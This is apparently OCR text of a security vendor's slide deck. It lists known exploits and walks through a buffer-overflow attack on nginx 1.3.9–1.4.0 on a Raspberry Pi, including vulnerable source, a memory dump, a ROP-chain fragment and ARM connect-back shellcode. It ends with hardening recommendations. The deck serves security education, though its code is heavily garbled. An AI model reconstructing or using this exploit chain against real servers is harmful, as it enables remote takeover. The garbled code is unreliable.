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Large Database of Known Vulnerabilities

Apple QuickTime - TeXML
Irfanview JPEG2000 4.3.2.0 - jp2
‘Uracle Outside-In - '.LWP' File Parsing Based

GlobalScape CuteZIP -

Internet Download Manager - Based

Intellicom 1.3 - 'NetBiterConfig.exe' 'Hostname' Data Remote

Apple QuickTime 7.7.2 - TeXML Style Element font-table Field

mcrypt 2.6.8 - Based (PoC)

Sony PC Companion 2.1 - (DownloadURLToFile()) Based Unicode
Sony PC Companion 2.1 - (Load()) Based Unicode

Sony PC Companion 2.1 - (CheckCompatibility()) Based Unicode
Sony PC Companion 2.1 - (Admin RemoveDirectory()) Based Unicode
Foxit Reader 5.4.4.1128 Firefox Plugin - npFoxitReaderPlugin.dll
DeleGate 7.8.x/8.x - SSLway Filter Remote Based

Libxml2 - Multiple Remote Vulnerabilities
TagScanner 5.1 -

Linux Kernel - 'SCTP_GET_ASSOC_STATS()' Based

IconCool MP3 WAV Converter 3.00 Build 120518 -

KNet Web Server 1.04b - Corruption

AT-TFTP Server 2.0 - Based Denial of Service
RTF2LATEX2E 1.0 -

ABC2MIDI 2004-12-04 - Multiple Vulnerabilities
PS Office - Wpsio.dll

Nginx HTTP Server 1.3.9 < 1.4.0 - Chuncked Encoding

Lianja SQL 1.0.0RC5.1 - db netserver

MiniUPnPd 1.0 - Remote Code Execution

Synactis PDF In-The-Box - ConnectToSynactic

inamp 5.12 - '.m3u’ Based

aSc Timetables 2013 -

RealNetworks RealOne Player/RealPlayer - '.RM' File Remote Based
WinAmp 5.63 - Based

Ultra Mini HTTPD 1.21 -

Corel PDF Fusion -

BlazeDVD Pro player 6.1 - Based (Direct Ret)
Super Player 3500 - '.m3u' Local Based
AmbiCom Blue Neighbors 2.50 build 25600 - BlueTooth Object Push

Ultra Mini HTTPD -

Apple Mac 0SX 10.4.x - AppleTalk AIOCReglLocalZN IOCTL
LeadTools MultiMedia 15 - 'Ltmml5.dll' ActiveX Control
SSC DiskAccess NFS Client - DAPCNFSD.d11l

EasyMail Objects 6.x - Connect Method Remote

News File Grabber 4.1.0.1 - Subject Line (1)
News File Grabber 4.1.0.1 - Subject Line (2)
Sienzo Digital Music Mentor - DSKernel2.dll ActiveX Control
Asterisk 1.4 SIP T.38 SDP - Parsing Remote (1)
Asterisk 1.4 SIP T.38 SDP - Parsing Remote (2)
Trend Micro ServerProtect 5.58 - SpntSvc.exe Remote Based

Sun Java Runtime Environment 1.6 - Web Start JNLP File
PC SOFT WinDEV 11 - WDP File Parsing

./windows/local/19433.rb
./windows/local/19519.rb
./windows/dos/19961.txt
./windows/local/20542.rb
./windows/local/21318.pl
./windows/dos/33403.py
./windows/remote/22905.rb
./1inux/dos/22938.py
./windows/dos/23565.txt
./windows/dos/23567.txt

. /windows/dos/23568. txt
./windows/dos/23569.txt
./windows/dos/23944.php
./linux/dos/24095.txt
./linux/remote/24704.c
./windows/dos/24741.txt
./linux/dos/24747.c
./windows/dos/24880.pl
./windows/remote/24950.pl
./windows/dos/24952.py
./linux/remote/25006.txt
./multiple/remote/25019. txt
./windows/dos/25140.txt
./linux/remote/25775.rb
./windows/remote/25851.rb
./linux/remote/25975.rb
./windows/remote/26134.rb
./windows/local/26245.py
./windows/local/264609.py
./windows/remote/26497.c
./windows/dos/26558. txt
./windows/remote/26739.py
./windows/local/26805.rb
./windows/local/26889.pl
./windows/local/27041.pl
./multiple/dos/27094.txt
./windows/remote/27608.rb
./osx/local/29194.c
./windows/remote/30049.html
./windows/remote/29538.c
./windows/dos/29607.html
./windows/dos/29617.pl
./windows/dos/29618.c
./windows/remote/29952.html
./multiple/dos/29960.txt
./multiple/dos/29901. txt
./windows/remote/29964.rb
./linux/remote/30284.vbs
./windows/dos/30255. txt
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For Example: nginx HTTP server

ABC2MIDI 2004 12 04 - Multiple Vulnerabilities
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INglnx HTTP Server 1 3 9 < 1.4.0 - Chuncked Encoding
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MiniUPnPd 1.0 - Remote Code Execution




How do Hackers Attack?

é Malware
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Hidden security @ Bugs exploited Malware compromises
software bug to run malware the system
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A Four-Stage Attack Process

1. Find a vulnerability
2. Create a payload to exploit the vulnerability
3. Bring malicious code (using payload)

4. Control the kernel; attack



Nginx — Step 1

« Analyze the system to find a vulnerability
 Casting mismatch vulnerability
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Nginx — Step 2

 Create the payload that exploits the vulnerability
« A malformed http request, crafted to overflow,
and than poison the memory
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Nginx — Step 3

 Bring malicious code
« Gain super user privileges and
connect to the remote attacker
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Nginx — Step 4

« Control the kernel
o Attack
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Demo

« Raspbian
» Based on Raspberry Pi
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Where is the bug?

size = (size_t) ngx_min(r->headers_in.content_length_n,
NGX_HTTP_DISCARD BUFFER_SIZE);

n = r-rconnection-»recv(r->connection, buffer, size);
if (n == NGX_ERROR) {

r-»connection->error = 1;

return NGX_0K;

if (n == NGX_AGAIN) {
return NGX_AGAIN;

¥

if (n == 0) {
return NGX_0K;

¥

b.pos = buffer;
b.last = buffer + n;

rc = ngx_http_discard_request_body_filter(r, &b);

if (rc != NGX_OK) {

return rc;
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size_t (unsigned int) off t (signed long long) 4096

size = (size_t) ngx _min(r->headers_in.content_length n, NGX HTTP_DISCARD BUFFER_SIZE);

n = r->connection->recv(r->connection, buffer, size);
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Buffer Overflow

(gdb) xxd Ssp

0000000: 4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAALAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA
4141 AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA
AARAAAAAAAAAAAAARA
AAAAAAAAAAAAAAARA
AAAAAAAAAAAAAAARA
AR D e aann

Ganoonao aooUoodlL

Karamba
14 Security



Now What?

0x00049414 <+240>: add sp, sp, #4096 ; 0x1000
0x00049418 <+244>: add sp, sp, #60 3 Ox3c
° Before Overﬂow: — X44 <+4>: pop {r, A O S pC

Return address =0x0004c¢73c

» After Overflow

Return address =0x000136c¢4d (our first ROP gadget)
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Understanding ROP — The Problem

« Data Execution Prevention (DEP)
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Understanding ROP — The Solution

 Execute machine instruction
sequences ("gadgets”)

« Gadgets ends with return, and DlEn;Ed
are located in existing libraries PIEO gIA.l“g

» Chained together, gadgets allow performing arbitrary operations
* In libc sufficient gadgets exist for Turing-complete functionality
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Understanding ROP — The Solution
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Program Flow:

sub5to8

Instruction

Instruction

Instruction

Instruction

DI O

return

sub9toll

SR C = ET

Instruction

Instruction

return

1

v\

Attacker

Controlled:

subl2to20

AN

Instruction

Instruction

1Lz

Instruction

14

Instruction

15

Instruction

16

Instruction

117

N

Instruction
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Instruction

L]

, Instruction
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return
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ROP example

rop
rop
rop

Irop

-

rop
rop
rop
rop

rop
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struct
struct
struct

struct
struct
struct
struct
struct
struct

struct

.pack(’
.pack("’
.pack(’

.pack(’
.pack(’
.pack(’
.pack("’
.pack(’
.pack(’

.pack(’

sp_addr + off + 0x10)

690cb2d)
356bd5)
sp_addr & Oxfffff000)
0x1000)
7)
N ':)
04)
16C)
sp_addr + )

h

- A ~
re, rs, r4a, C
S (P e all B
yload (shellcode)
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The Shell Code We Used

# socket/connect/dup2/dup2/dup?

"Ax0Z2\x00\xald\xe3M\x01\x10N\xa 0\ xe3 x05\x20\xB1\xe2\xBc" .
"AxT0\xa0\xe3\xBd\xTO\xB T hxed \x00\x00\x00 \xef \x00\x60" .
"\xali\xel\xechx10\xB8E \xe2\x10\x2 0% xald" .
"\Wxed\xBe\xTO0A\NxBT \xe2\x00N\x 00\ 00N, Wael™ .
"Ax0D0A\x10\xald\xe3\x3 £\ xT70\xal\xe 3\ Wx0e™ .
" W3\ xT0\xa0\xe3\x00\x00" .
" W10\ xal0\xe3\x3£\xT0\xal" .
”

¥

" x08N\x00\x2d .
"\x20\xa0\xel\x10M\x00\x2d x40\ xB8f \xe2\x10\x00" .
" Shx0dA\x10N\xa0\xel vx0b\x 70\ xa 0\ xe3\x00\x00\x00" .
" \xO00" .

¥ connect back host/port

"o i =

(=Y

ZWxllhxSch\xeDixal\xl

0h\x00Y\=00" .

Karamba
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Recommendations

« With open source software:
 Stay up to date (patch)
 Register to the security mailing list(s)
 Closed source are just as bad...

* Install a zero day tool
 Protects against unknown vulnerabilities
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Karamba’s Automatically Generated Hardening
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Seal ECU Detect Prevent the attack at
according to security bugs’ the ECU level
factory settings exploits
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